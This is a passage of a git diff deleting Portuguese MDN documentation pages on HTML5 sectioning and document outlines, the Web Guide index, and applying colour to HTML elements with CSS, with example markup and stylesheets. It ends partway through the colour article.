A estrutura de um documento, por exemplo, a estrutura de semântica do que está entre <body> e </body>, é fundamental para apresentar a página ao utilizador. HTML4 uses the notion of sections and sub-sections of a document to describe its structure. A section is defined by a ({{HTMLElement("div")}}) element with heading elements ({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, or {{HTMLElement("h6")}}) within it, defining its title. The relationships of these elements leads to the structure of the document and its outline.

- -

So the following mark-up:

- -
-
<div class="section" id="forest-elephants" >
-  <h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <div class="subsection" id="forest-habitat" >
-    <h2>Habitat</h2>
-    <p>Forest elephants do not live in trees but among them.
-     ...this subsection continues...
-  </div>
-</div>
-
-
- -

leads to the following outline (without the implicit level numbers displayed):

- -
1. Forest elephants
-   1.1 Habitat
-
- -

The {{HTMLElement("div")}} elements aren't mandatory to define a new section. The mere presence of a heading element is enough to imply a new section. Therefore,

- -
<h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <h2>Habitat</h2>
-  <p>Forest elephants do not live in trees but among them.
-    ...this subsection continues...
-  <h2>Diet</h2>
-<h1>Mongolian gerbils</h1>
-
- -

leads to the following outline:

- -
1. Forest elephants
-   1.1 Habitat
-   1.2 Diet
-2. Mongolian gerbils
-
- -

Problemas resolvidos pelo HTML5

- -

The HTML 4 definition of the structure of a document and its implied outlining algorithm is very rough and leads to numerous problems:

- -
    -
  1. Usage of {{HTMLElement("div")}} for defining semantic sections, without defining specific values for the class attributes makes the automation of the outlining algorithm impossible ("Is that {{HTMLElement("div")}} part of the outline of the page, defining a section or a subsection?" Or "is it only a presentational {{HTMLElement("div")}}, only used for styling?"). In other terms, the HTML4 spec is very imprecise on what is a section and how its scope is defined. Automatic generation of outlines is important, especially for assistive technology, that are likely to adapt the way they present information to the users according to the structure of the document. HTML5 removes the need for {{HTMLElement("div")}} elements from the outlining algorithm by introducing a new element, {{HTMLElement("section")}}, the HTML Section Element.
  2. -
  3. Merging several documents is hard: inclusion of a sub-document in a main document means changing the level of the HTML Headings Element so that the outline is kept. This is solved in HTML5 as the newly introduced sectioning elements ({{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}} and {{HTMLElement("aside")}}) are always subsections of their nearest ancestor section, regardless of what sections are created by internal headings.
  4. -
  5. In HTML4, every section is part of the document outline. But documents are often not that linear. A document can have special sections containing information that is not part of, though it is related to, the main flow, like an advertisement block or an explanation box. HTML5 introduces the {{HTMLElement("aside")}} element allowing such sections to not be part of the main outline.
  6. -
  7. Again, in HTML4, because every section is part of the document outline, there is no way to have sections containing information related not to the document but to the whole site, like logos, menus, table of contents, or copyright information and legal notices. For that purpose, HTML5 introduces three new elements: {{HTMLElement("nav")}} for collections of links, such as a table of contents, {{HTMLElement("footer")}} and {{HTMLElement("header")}} for site-related information. Note that {{HTMLElement("header")}} and {{HTMLElement("footer")}} are not sectioning content like {{HTMLElement("section")}}, rather, they exist to semantically mark up parts of a section.
  8. -
- -

More generally, HTML5 brings precision to the sectioning and heading features, allowing document outlines to be predictable and used by the browser to improve the user experience.

- -

O algoritmo de estrutura de HTML5

- -

Let's consider the algorithms  underlying the way HTML handles sections and outlines.

- -

Definir secções

- -

All content lying inside the {{HTMLElement("body")}} element is part of a section. Sections in HTML5 can be nested. Beside the main section, defined by the {{HTMLElement("body")}} element, section limits are defined either explicitly or implicitly. Explicitly-defined sections are the content within {{HTMLElement("body")}},  {{HTMLElement("section")}},  {{HTMLElement("article")}},  {{HTMLElement("aside")}}, and {{HTMLElement("nav")}} tags. 

- -
Each section can have its own heading hierarchy. Therefore, even a nested section can have an {{HTMLElement("h1")}}. See {{anch("Defining headings")}}
- -

Let's look at an example — here we have a document with a top level section and a footer defined. Inside the top level section we have three subsections, defined by two {{htmlelement("section")}} elements and an {{htmlelement("aside")}} element:

- -
<section>
-
-  <h1>Forest elephants</h1>
-
-  <section>
-    <h1>Introduction</h1>
-    <p>In this section, we discuss the lesser known forest elephants.</p>
-  </section>
-
-  <section>
-    <h1>Habitat</h1>
-    <p>Forest elephants do not live in trees but among them.</p>
-  </section>
-
-  <aside>
-    <p>advertising block</p>
-  </aside>
-
-</section>
-
-<footer>
-  <p>(c) 2010 The Example company</p>
-</footer>
- -

This leads to the following outline:

- -
1. Forest elephants
-   1.1 Introduction
-   1.2 Habitat
-
- -

Definir cabeçalhos

- -

While the HTML Sectioning elements define the structure of the document, an outline also needs headings to be useful. The basic rule is simple: the first HTML heading element (one of {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}) defines the heading of the current section.

- -

The heading elements have a rank given by the number in the element name, where {{HTMLElement("h1")}} has the highest rank, and {{HTMLElement("h6")}} has the lowest rank. Relative ranking matters only within a section; the structure of the sections determines the outline, not the heading rank of the sections. For example, consider this code:

- -
<section>
-  <h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <section>
-    <h2>Habitat</h2>
-    <p>Forest elephants do not live in trees but among them.
-        ...this subsection continues...
-  </section>
-</section>
-<section>
-  <h3>Mongolian gerbils</h3>
-  <p>In this section, we discuss the famous mongolian gerbils.
-     ...this section continues...
-</section>
- -

This creates the following outline:

- -
1. Forest elephants
-   1.1 Habitat
-2. Mongolian gerbils
- -

Note that the rank of the heading element (in the example {{HTMLElement("h1")}} for the first top-level section, {{HTMLElement("h2")}} for the subsection and {{HTMLElement("h3")}} for the second top-level section) is not important. (Any rank can be used as the heading of an explicitly-defined section, although this practice is not recommended.)

- -

Implicit sectioning

- -

Because the HTML5 Sectioning Elements aren't mandatory to define an outline, to keep compatibility with the existing web dominated by HTML4, there is a way to define sections without them. This is called implicit sectioning.

- -

The heading elements ({{HTMLElement("h1")}} to {{HTMLElement("h6")}}) define a new, implicit section when they aren't the first heading of their parent, explicit, sections. The way this implicit section is positioned in the outline is defined by its relative rank with the previous heading in its parent section. If it is of a lower rank than the previous heading, it opens an implicit sub-section of the section. This code:

- -
<section>
-  <h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <h3 class="implicit subsection">Habitat</h3>
-  <p>Forest elephants do not live in trees but among them.
-    ...this subsection continues...
-</section>
- -

leading to the following outline:

- -
1. Forest elephants
-   1.1 Habitat (implicitly defined by the h3 element)
-
- -

If it is of the same rank as the previous heading, it closes the previous section (which may have been explicit!) and opens a new implicit one at the same level: 

- -
<section>
-  <h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <h1 class="implicit section">Mongolian gerbils</h1>
-  <p>Mongolian gerbils are cute little mammals.
-    ...this section continues...
-</section>
- -

leading to the following outline: 

- -
1. Forest elephants
-2. Mongolian gerbils (implicitly defined by the h1 element, which closed the previous section at the same time)
-
- -

If it is of a higher rank than the previous heading, it closes the previous section and opens a new implicit one at the higher level:

- -
<body>
-  <h1>Mammals</h1>
-  <h2>Whales</h2>
-  <p>In this section, we discuss the swimming whales.
-    ...this section continues...
-  <section>
-    <h3>Forest elephants</h3>
-    <p>In this section, we discuss the lesser known forest elephants.
-      ...this section continues...
-    <h3>Mongolian gerbils</h3>
-      <p>Hordes of gerbils have spread their range far beyond Mongolia.
-         ...this subsection continues...
-    <h2>Reptiles</h2>
-      <p>Reptiles are animals with cold blood.
-          ...this section continues...
-  </section>
-</body>
- -

leading to the following outline:

- -
1. Mammals
-   1.1 Whales (implicitly defined by the h2 element)
-   1.2 Forest elephants (explicitly defined by the section element)
-   1.3 Mongolian gerbils (implicitly defined by the h3 element, which closes the previous section at the same time)
-2. Reptiles (implicitly defined by the h2 element, which closes the previous section at the same time)
-
- -

This is not the outline that one might expect by quickly glancing at the heading tags. To make your markup human-understandable, it is a good practice to use explicit tags for opening and closing sections, and to match the heading rank to the intended section nesting level. However, this is not required by the HTML5 specification. If you find that browsers are rendering your document outline in unexpected ways, check whether you have sections that are implicitly closed by heading elements.

- -

An exception to the rule of thumb that heading rank should match the section nesting level is for sections that may be reused in multiple documents. For example, a section might be stored in a content-management system and assembled into documents at run time. In this case, a good practice is to start at {{HTMLElement("h1")}} for the top heading level of the reusable section. The nesting level of the reusable section will be determined by the section hierarchy of the document in which it appears. Explicit section tags are still helpful in this case.

- -

Sectioning roots

- -

 A sectioning root is an HTML element that can have its own outline, but the sections and headings inside it do not contribute to the outline of its ancestor. Beside {{HTMLElement("body")}} which is the logical sectioning root of a document, these are often elements that introduce external content to the page: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} and {{HTMLElement("td")}}.

- -

Example:

- -
<section>
-  <h1>Forest elephants</h1>
-  <section>
-    <h2>Introduction</h2>
-    <p>In this section, we discuss the lesser known forest elephants</p>
-  </section>
-  <section>
-    <h2>Habitat</h2>
-    <p>Forest elephants do not live in trees but among them. Let's
-       look what scientists are saying in "<cite>The Forest Elephant in Borneo</cite>":</p>
-    <blockquote>
-       <h1>Borneo</h1>
-       <p>The forest element lives in Borneo...</p>
-    </blockquote>
-  </section>
-</section>
-
- -

This example results in the following outline:

- -
1. Forest elephants
-   1.1 Introduction
-   1.2 Habitat
- -

This outline doesn't contain the internal outline of the {{HTMLElement("blockquote")}} element, which, being an external citation, is a sectioning root and isolates its internal outline.

- -

Sections outside the outline

- -

 HTML5 introduces two new elements that allow defining sections that don't belong to the main outline of a web document:

- -
    -
  1. The HTML Aside Section Element ({{HTMLElement("aside")}}) defines a section that, though related to the main element, doesn't belong to the main flow, like an explanation box or an advertisement. It has its own outline, but doesn't belong to the main one.
  2. -
  3. The HTML Navigational Section Element ({{HTMLElement("nav")}}) defines a section that contains navigation links. There can be several of them in a document, for example one with page internal links like a table of contents, and another with site navigational links. These links are not part of the main document flow and outline, and are generally not initially rendered by screen readers and similar assistive technologies.
  4. -
- -

Cabeçalhos e Rodapés

- -

HTML5 also introduces two new elements that can be used to mark up the header and the footer of a section:

- -
    -
  1. The HTML Header Element ({{HTMLElement("header")}}) defines a page header — typically containing the logo and name of the site and possibly a horizontal menu — or section header, containing perhaps the section's heading, author name, etc. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, and {{HTMLElement("nav")}} can have their own {{HTMLElement("header")}}. Despite its name, it is not necessarily positioned at the beginning of the page or section.
  2. -
  3. The HTML Footer Element ({{HTMLElement("footer")}}) defines a page footer — typically containing the copyright and legal notices and sometimes some links — or section footer, containing perhaps the section's publication date, license information, etc. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, and {{HTMLElement("nav")}} can have their own {{HTMLElement("footer")}}. Despite its name, it is not necessarily positioned at the end of the page or section.
  4. -
- -

These do not create new sections in the outline, rather, they mark up content inside sections of the page.

- -

Addresses in sectioning elements

- -

The author of a document often wants to publish some contact information, such as the author's name and address. HTML4 allowed this via the {{HTMLElement("address")}} element, which has been extended in HTML5.

- -

A document can be made of different sections from different authors. A section from another author than the one of the main page is defined using the {{HTMLElement("article")}} element. Consequently, the {{HTMLElement("address")}} element is now linked to its nearest {{HTMLElement("body")}} or {{HTMLElement("article")}} ancestor.

- -

Utilizar elementos de HTML5 nos navegadores não HTML5

- -

Sections and headings elements should work in most non-HTML5 browsers. Though unsupported, they don't need a special DOM interface and they only need a specific CSS styling as unknown elements are styled as display:inline by default:

- -
article, aside, footer, header, hgroup, nav, section {
-  display:block;
-}
-
- -

Of course the web developer can style them differently, but keep in mind that in a non-HTML5 browser, the default styling is different from what is expected for such elements. Also note that the {{HTMLElement("time")}} element has not been included, because the default styling for it in a non-HTML5 browser is the same as the one in an HTML5-compatible one.

- -

This method has its limitation though, as some browsers do not allow styling of unsupported elements. That is the case of the Internet Explorer (version 8 and earlier), which need a specific script to allow this:

- -
<!--[if lt IE 9]>
-  <script>
-    document.createElement("article");
-    document.createElement("aside");
-    document.createElement("footer");
-    document.createElement("header");
-    document.createElement("hgroup");
-    document.createElement("nav");
-    document.createElement("section");
-    document.createElement("time");
-  </script>
-<![endif]-->
-
- -

This script means that, in the case of Internet Explorer (8 and earlier), scripting should be enabled in order to display HTML5 sectioning and headings elements properly. If not, they won't be displayed, which may be problematic as these elements are likely defining the structure of the whole page. That's why an explicit {{HTMLElement("noscript")}} element should be added inside the {{HTMLElement("head")}} element for this case:

- -
<noscript>
-  <p><strong>This web page requires JavaScript to be enabled.</strong></p>
-  <p>JavaScript is an object-oriented computer programming language
-    commonly used to create interactive effects within web browsers.</p>
-  <p><a href="https://goo.gl/koeeaJ">How to enable JavaScript?</a></p>
-</noscript>
-
- -

This leads to the following code to allow the support of the HTML5 sections and headings elements in non-HTML5 browsers, even for Internet Explorer (8 and older), with a proper fallback for the case where this latter browser is configured not to use scripting:

- -
<!--[if lt IE 9]> <script>
-  document.createElement("article");
-    document.createElement("aside");
-    document.createElement("footer");
-    document.createElement("header");
-    document.createElement("hgroup");
-    document.createElement("nav");
-    document.createElement("section");
-    document.createElement("time");   </script> <![endif]--> <noscript>
-  <p><strong>This web page requires JavaScript to be enabled.</strong></p>
-  <p>JavaScript is an object-oriented computer programming language
-    commonly used to create interactive effects within web browsers.</p>
-  <p><a href="https://goo.gl/koeeaJ">How to enable JavaScript?</a></p>
-</noscript> <![endif]-->
-
- -

Conclusão

- -

The new semantic elements introduced in HTML5 bring the ability to describe the structure and the outline of a web document in a standard way. They bring a big advantage for people having HTML5 browsers and needing the structure to help them understand the page, for instance people needing the help of some assistive technology. These new semantic elements are simple to use and, with very few burdens, can be made to work also in non-HTML5 browsers. Therefore they should be used without restrictions.

- -
{{HTML5ArticleTOC()}}
diff --git a/files/pt-pt/web/guide/index.html b/files/pt-pt/web/guide/index.html deleted file mode 100644 index 8ba5341845..0000000000 --- a/files/pt-pt/web/guide/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Guias do Programador -slug: Web/Guide -tags: - - API - - Guía - - Landing - - Web -translation_of: Web/Guide ---- -

Estes artigos proporcionam informação de como começar, para o ajudar a utilizar as tecnologias da Web específicas e APIs.

- -
-
-
-
Aprender HTML; Guias e Tutoriais
-
Linguagem de Marcacao em Hiper Texto  (HTML) e a linguaguem padrao de quase todos os navegadores. Maior parte do que voce ve na janela do seu navegador e descrito, fundamentalmente, usando HTML.
-
Aprender a estilizar HTML, utilizando CSS
-
Folhas de Estilo em Cascata (CSS) e uma linguaguem baseada em folhas de estilos usada para definir a apresentacao do documento escrito com HTML.
-
Apresentacao de videos e audios
-
Nos conseguimos apresentar videos e audios na web de diversas maneiras, desde ficheiros 'estaticos' a fluxos de adaptacoes em directo. Este artigo e precebido como o ponto inicial para a exploracao de varios mecanismos de apresentacao baseados na comunicao i compatiilidade com os navegadores populares.
-
Manipulacao de videos e audios
-
A beleza da web e que voce pode combinar tecnologias para criar novos formularios. Tendo audios e videos nativos no navegador significa que nos podemos usar este fluxo de dados com tecnologias como {{htmelement('canvas')}}, WebGL ou API de Áudio da Web para modificar o audio e o video directamente, por exemplo adicionando efeitos como ressonancia/compressao ao audio, ou filtros como escala de cinza/sepia aos videos. Este artigo providencia as referencias para explicar o que voce precisa.
-
Guia do programador de eventos
-
Eventos referem se a duas coisas: o design padrao usado para manter a sincronizacao de varios incidentes que ocorrem durante a execucao da pagina web; i a nomenclatura, caracterizacao, i uso de varios i diversos tipos de ocorrencias.
-
AJAX
-
AJAX is a term that defines a group of technologies allowing web applications to make quick, incremental updates to the user interface without reloading the entire browser page. This makes the application faster and more responsive to user actions.
-
Gráficos na Web
-
Modern web sites and applications often need to present graphics of varying sophistication.
-
Guide to web APIs
-
A list of all web APIs and what they do.
-
JavaScript
-
JavaScript is the powerful scripting language used to create applications for the Web.
-
Localizations and character encodings
-
Browsers process text as Unicode internally. However, a way of representing characters in terms of bytes (character encoding) is used for transferring text over the network to the browser. The HTML specification recommends the use of the UTF-8 encoding (which can represent all of Unicode), and regardless of the encoding used requires Web content to declare that encoding.
-
Mobile web development
-
This article provides an overview of some of the main techniques needed to design web sites that work well on mobile devices. If you're looking for information on Mozilla's Firefox OS project, see the Firefox OS page. Or you might be interested in details about Firefox para Android.
-
-
- -
-
-
Progressive web apps
-
Progressive web apps (PWAs) use modern web APIs along with traditional progressive enhancement strategy to create cross-platform web applications. These apps work everywhere and provide several features that give them the same user experience advantages as native apps. This set of guides tells you all you need to know about PWAs.
-
Optimization and performance
-
When building modern web apps and sites, it's important to make your content work quickly and efficiently. This lets it perform effectively for both powerful desktop systems and weaker handheld devices.
-
Parsing and serializing XML
-
The web platform provides different methods of parsing and serializing XML, each with its own pros and cons.
-
The Web Open Font Format (WOFF)
-
WOFF (Web Open Font Format) is a font file format that is free for anyone to use on the web.
-
Using FormData objects
-
The FormData object lets you compile a set of key/value pairs to send using XMLHttpRequest. It's primarily intended for sending form data, but can be used independently from forms in order to transmit keyed data. The transmission is in the same format that the form's submit() method would use to send the data if the form's encoding type were set to "multipart/form-data".
-
Glossary
-
Defines numerous technical terms related to the Web and Internet.
-
-
-
- -

Consultar também

- - diff --git a/files/pt-pt/web/html/applying_color/index.html b/files/pt-pt/web/html/applying_color/index.html deleted file mode 100644 index 75c0e0f32b..0000000000 --- a/files/pt-pt/web/html/applying_color/index.html +++ /dev/null @@ -1,582 +0,0 @@ ---- -title: Aplicar cor aos elementos de HTML utilizando CSS -slug: Web/HTML/Applying_color -tags: - - CSS - - Cores de CSS - - Cores de HTML - - Estilo de HTML - - Estilos de HTML - - Guía - - HTML - - Principiante - - cor -translation_of: Web/HTML/Applying_color -original_slug: Web/HTML/Aplicar_cor_elementos_HTML_utilizando_CSS ---- -
{{HTMLRef}}
- -

A utilização de cor é uma forma fundamental da expressão humana. Children experiment with color before they even have the manual dexterity to draw. Maybe that's why color is one of the first things people often want to experiment with when learning to develop web sites. With CSS, there lots of ways to add color to your HTML elements to create just the look you want. This article is a primer introducing each of the ways CSS color can be used in HTML.

- -

Fortunately, adding color to your HTML is actually really easy to do, and you can add color to nearly anything.

- -

We're going to touch on most of what you'll need to know when using color, including a {{anch("Things that can have color", "list of what you can color and what CSS properties are involved")}}, {{anch("How to describe a color", "how you describe colors")}}, and how to actually {{anch("Using color", "use colors both in stylesheets and in scripts")}}. We'll also take a look at how to {{anch("Letting the user picka color", "let the user pick a color")}}.

- -

Then we'll wrap things up with a brief discussion of how to {{anch("Using color wisely", "use color wisely")}}: how to select appropriate colors, keeping in mind the needs of people with differing visual capabilities.

- -

Coisas que podem ter cor

- -

At the element level, everything in HTML can have color applied to it. Instead, let's look at things in terms of the kinds of things that are drawn in the elements, such as text and borders and so forth. For each, we'll see a list of the CSS properties that apply color to them.

- -

At a fundamental level, the {{cssxref("color")}} property defines the foreground color of an HTML element's content and the {{cssxref("background-color")}} property defines the element's background color. These can be used on just about any element.

- -

Texto

- -

Whenever an element is rendered, these properties are used to determine the color of the text, its background, and any decorations on the text.

- -
-
{{cssxref("color")}}
-
The color to use when drawing the text and any text decorations (such as the addition of under- or overlines, strike-through lines, and so forth.
-
{{cssxref("background-color")}}
-
The text's background color.
-
{{cssxref("text-shadow")}}
-
Configures a shadow effect to apply to text. Among the options for the shadow is the shadow's base color (which is then blurred and blended with the background based on the other parameters). See {{SectionOnPage("/en-US/docs/Learn/CSS/Styling_text/Fundamentals", "Text drop shadows")}} to learn more.
-
{{cssxref("text-decoration-color")}}
-
By default, text decorations (such as underlines, strikethroughs, etc) use the color property as their colors. However, you can override that behavior and use a different color for them with the text-decoration-color property.
-
{{cssxref("text-emphasis-color")}}
-
The color to use when drawing emphasis symbols adjacent to each character in the text. This is used primarily when drawing text for East Asian languages.
-
{{cssxref("caret-color")}}
-
The color to use when drawing the {{Glossary("caret")}} (sometimes referred to as the text input cursor) within the element. This is only useful in elements that are editable, such as {{HTMLElement("input")}} and {{HTMLElement("textarea")}} or elements whose HTML {{htmlattrxref("contenteditable")}} attribute is set.
-
- -

Caixas

- -

Every element is a box with some sort of content, and has a background and a border in addition to whatever contents the box may have.

- -
-
{{anch("Borders")}}
-
See the section {{anch("Borders")}} for a list of the CSS properties you can use to set the colors of a box's borders.
-
{{cssxref("background-color")}}
-
The background color to use in areas of the element that have no foreground content.
-
{{cssxref("column-rule-color")}}
-
The color to use when drawing the line separating columns of text.
-
{{cssxref("outline-color")}}
-
The color to use when drawing an outline around the outside of the element. This outline is different from the border in that it doesn't get space set aside for it in the document (so it may overlap other content). It's generally used as a focus indicator, to show which element will receive input events.
-
- -

Contornos

- -

Any element can have a border drawn around it. A basic element border is a line drawn around the edges of the element's content. See {{SectionOnPage("/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model", "Box properties")}} to learn about the relationship between elements and their borders, and the article Styling borders using CSS to learn more about applying styles to borders.

- -

You can use the {{cssxref("border")}} shorthand property, which lets you configure everything about the border in one shot (including non-color features of borders, such as its width, style (solid, dashed, etc.), and so forth.

- -
-
{{cssxref("border-color")}}
-
Specifies a single color to use for every side of the element's border.
-
{{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, and {{cssxref("border-bottom-color")}}
-
Lets you set the color of the corresponding side of the element's border.
-
{{cssxref("border-block-start-color")}} and {{cssxref("border-block-end-color")}}
-
With these, you can set the color used to draw the borders which are closest to the start and end of the block the border surrounds. In a left-to-right writing mode (such as the way English is written), the block start border is the top edge and the block end is the bottom. This differs from the inline start and end, which are the left and right edges (corresponding to where each line of text in the box begins and ends).
-
{{cssxref("border-inline-start-color")}} and {{cssxref("border-inline-end-color")}}
-
These let you color the edges of the border closest to to the beginning and the end of the start of lines of text within the box. Which side this is will vary depending on the {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}} properties, which are typically (but not always) used to adjust text directionality based on the language being displayed. For example, if the box's text is being rendered right-to-left, then the border-inline-start-color is applied to the right side of the border.
-
- -

Outros modos para utilizar a cor

- -

CSS isn't the only web technology that supports color. There are graphics technologies that are available on the web which also support color.

- -
-
The HTML Canvas API
-
Lets you draw 2D bitmapped graphics in a {{HTMLElement("canvas")}} element. See our Canvas tutorial to learn more.
-
SVG (Scalable Vector Graphics)
-
Lets you draw images using commands that draw specific shapes, patterns, and lines to produce an image. SVG commands are formatted as XML, and can be embedded directly into a web page or can be placed in he page using the {{HTMLElement("img")}} element, just like any other type of image.
-
WebGL
-
The Web Graphics Library is an OpenGL ES-based API for drawing high-performance 2D and 3D graphics on the Web. See Learn WebGL for 2D and 3D graphics to find out more.
-
- -

Como descrever uma cor

- -

In order to represent a color in CSS, you have to find a way to translate the analog concept of "color" into a digital form that a computer can use. This is typically done by breaking down the color into components, such as how much of each of a set of primary colors to mix together, or how bright to make the color. As such, there are several ways you can describe color in CSS.

- -

For more detailed discussion of each of the color value types, see the reference for the CSS {{cssxref("<color>")}} unit.

- -

Palavras-chave

- -

A set of standard color names have been defined, letting you use these keywords instead of numeric representations of colors if you choose to do so and there's a keyword representing the exact color you want to use. Color keywords include the standard primary and secondary colors (such as red, blue, or orange), shades of gray (from black to white, including colors like darkgray and lightgrey), and a variety of other blended colors including lightseagreen, cornflowerblue, and rebeccapurple.

- -

See {{SectionOnPage("/en-US/docs/Web/CSS/color_value", "Color keywords", "code")}} for a list of all available color keywords.

- -

Valores RGB

- -

There are three ways to represent an RGB color in CSS.

- -

Hexadecimal string notation

- -

Hexadecimal string notation represents a color using hexadecimal digits to represent each of the color components (red, green, and blue). It may also include a fourth compoment: the alpha channel (or opacity). Each color component can be represented as a number between 0 and 255 (0x00 and 0xFF) or, optionally, as a number between 0 and 15 (0x0 and 0xF). All components must be specified using the same number of digits. If you use the single-digit notation, the final color is computed by using each component's digit twice; that is, "#D" becomes "#DD" when drawing.

- -

A color in hexadecimal string notation always begins with the character "#". After that come the hexadecimal digits of the color code. The string is case-insensitive.

- -
-
"#rrggbb"
-
Specifies a fully-opaque color whose red component is the hexadecimal number 0xrr, green component is 0xgg, and blue component is 0xbb.
-
"#rrggbbaa"
-
Specifies a color whose red component is the hexadecimal number 0xrr, green component is 0xgg, and blue component is 0xbb. The alpha channel is specified by 0xaa; the lower this value is, the more translucent the color becomes.
-
"#rgb"
-
Specifies a color whose red component is the hexadecimal number 0xrr, green component is 0xgg, and blue component is 0xbb.
-
"#rgba"
-
Specifies a color whose red component is the hexadecimal number 0xrr, green component is 0xgg, and blue component is 0xbb. The alpha channel is specified by 0xaa; the lower this value is, the more translucent the color becomes.
-
- -

As an example, you can represent the opaque color bright blue as "#0000ff" or "#00f". To make it 25% opaque, you can use "#0000ff44" or "#00f4".

- -

RGB functional notation

- -

RGB (Red/Green/Blue) functional notation, like hexadecimal string notation, represents colors using their red, green, and blue components (as well as, optionally, an alpha channel component for opacity). However, instead of using a string, the color is defined using the CSS function {{cssxref("rgb()")}}. This function accepts as its input parameters the values of the red, green, and blue components and an optional fourth parameter, the value for the alpha channel.

- -

Legal values for each of these parameters are:

- -
-
red, green, and blue
-
Each must be an {{cssxref("<integer>")}} value between 0 and 255 (inclusive), or a {{cssxref("<percentage>")}} from 0% to 100%.
-
alpha
-
The alpha channel is a number between 0.0 (fully transparent) and 1.0 (fully opaque). You can also specify a percentage where 0% is the same as 0.0 and 100% is the same as 1.0.
-
- -

For example, a bright red that's 50% opaque can be represented as rgb(255, 0, 0, 0.5) or rgb(100%, 0, 0, 50%).

- -

Notação funcional de HSL

- -

Designers and artists often prefer to work using the {{interwiki("wikipedia", "HSL and HSV", "HSL")}} (Hue/Saturation/Luminosity) color method. On the web, HSL colors are represented using HSL functional notation. The hsl() CSS function is very similar to the rgb() function in usage otherwise.

- -
-
HSL color cylinder -
Figure 1. An HSL color cylinder. Hue defines the actual color based on the position along a circular color wheel representing the colors of the visible spectrum. Saturation is a percentage of how much of the way between being a shade of gray and having the maximum possible amount of the given hue. As the value of luminance (or lightness) increases, the color transitions from the darkest possible to the brightest possible (from black to white). Image courtesy of user SharkD on Wikipedia, distributed under the CC BY-SA 3.0 license.
-
-
- -

The value of the hue (H) component of an HSL color is an angle from red around through yellow, green, cyan, blue, and magenta (ending up back at red again at 360°) that identifies what the base color is. The value can be specified in any {{cssxref("<angle>")}} unit supported by CSS, including degrees (deg), radians (rad), gradians (grad), or turns (turn). But this doesn't control how vivid or dull, or how bright or dark the color is.

- -

The saturation (S) component of the color specifies what percentage of the final color is comprised of the specified hue. The rest is defined by the grey level provided by the luminance (L) component.

- -

Think of it like creating the perfect paint color:

- -
    -
  1. You start with base paint that's the maximum intensity possible for a given color, such as  the most intense blue that can be represented by the user's screen. This is the hue (H) component: a value representing the angle around the color wheel for the vivid hue we want to use as our base.
  2. -
  3. Then select a greyscale paint that corresponds how bright you want the color to be; this is the luminance. Do you want it to be very bright and nearly white, or very dark and closer to black, or somewhere in between? This is specified using a percentage, where 0% is perfectly black and 100% is perfectly white. (regardless of the saturation or hue). In between values are a literal grey area.
  4. -
  5. Now that you have a grey paint and a perfectly vivid color, you need to mix them together. The saturation (S) component of the color indicates what percentage of the final color should be comprised of that perfectly vivid color. The rest of the final color is made up of the grey paint that represents the saturation.
  6. -
- -

You can also optionally include an alpha channel, to make the color less than 100% opaque.

- -

Here are some sample colors in HSL notation:

- -
- - -

{{EmbedLiveSample("hsl-swatches", 300, 260)}}

-
- -
-

Note that when you omit the hue's unit, it's assumed to be in degrees (deg).

-
- -

Utilizar a cor

- -

Now that you know what CSS properties exist that let you apply color to elements and the formats you can use to describe colors, you can put this together to begin to make use of color. As you may have seen from the list under {{anch("Things that can have color")}}, there are plenty of things you can color with CSS. Let's look at this from two sides: using color within a {{Glossary("stylesheet")}}, and adding and changing color using {{Glossary("JavaScript")}} code to alter the styles of elements.

- -

Especificar cores nas folhas de estilo

- -

The easiest way to apply color to elements—and the way you'll usually do it—is to simply specify colors in the CSS that's used when rendering elements. While we won't use every single property mentioned previously, we'll look at a couple of examples. The concept is the same anywhere you use color.

- -

Let's take a look at an example, starting by looking at the results we're trying to achieve:

- -
{{EmbedLiveSample("Specifying_colors_in_stylesheets", 650, 150)}}
- -

HTML

- -

The HTML responsible for creating the above example is shown here:

- -
<div class="wrapper">
-  <div class="box boxLeft">
-    <p>
-      This is the first box.
-    </p>
-  </div>
-  <div class="box boxRight">
-    <p>
-      This is the second box.
-    </p>
-  </div>
-</div>
- -

This is pretty simple, using a {{HTMLElement("div")}} as a wrapper around the contents, which consists of two more <div>s, each styled differently with a single paragraph ({{HTMLElement("p")}}) in each box.

- -

The magic happens, as usual, in the CSS, where we'll apply colors define the layout for the HTML above.

- -

CSS

- -

We'll look at the CSS to create the above results a piece at a time, so we can review the interesting parts one by one.

- -
.wrapper {
-  width: 620px;
-  height: 110px;
-  margin: 0;
-  padding: 10px;
-  border: 6px solid mediumturquoise;
-}
- -

The .wrapper class is used to assign styles to the {{HTMLElement("div")}} that encloses all of our other content. This establishes thesize of the container using {{cssxref("width")}} and {{cssxref("height")}} as well as its {{cssxref("margin")}} and {{cssxref("padding")}}.

- -

Of more interest to our discussion here is the use of the {{cssxref("border")}} property to establish a border around the outside edge of the element. This border is a solid line, 6 pixels wide, in the color mediumturquoise.

- -

Our two colored boxes share a number of properties in common, so next we establish a class, .box, that defines those shared properties:

- -
.box {
-  width: 290px;
-  height: 100px;
-  margin: 0;
-  padding: 4px 6px;
-  font: 28px "Marker Felt", "Zapfino", cursive;
-  display: flex;
-  justify-content: center;
-  align-items: center;
-}
- -

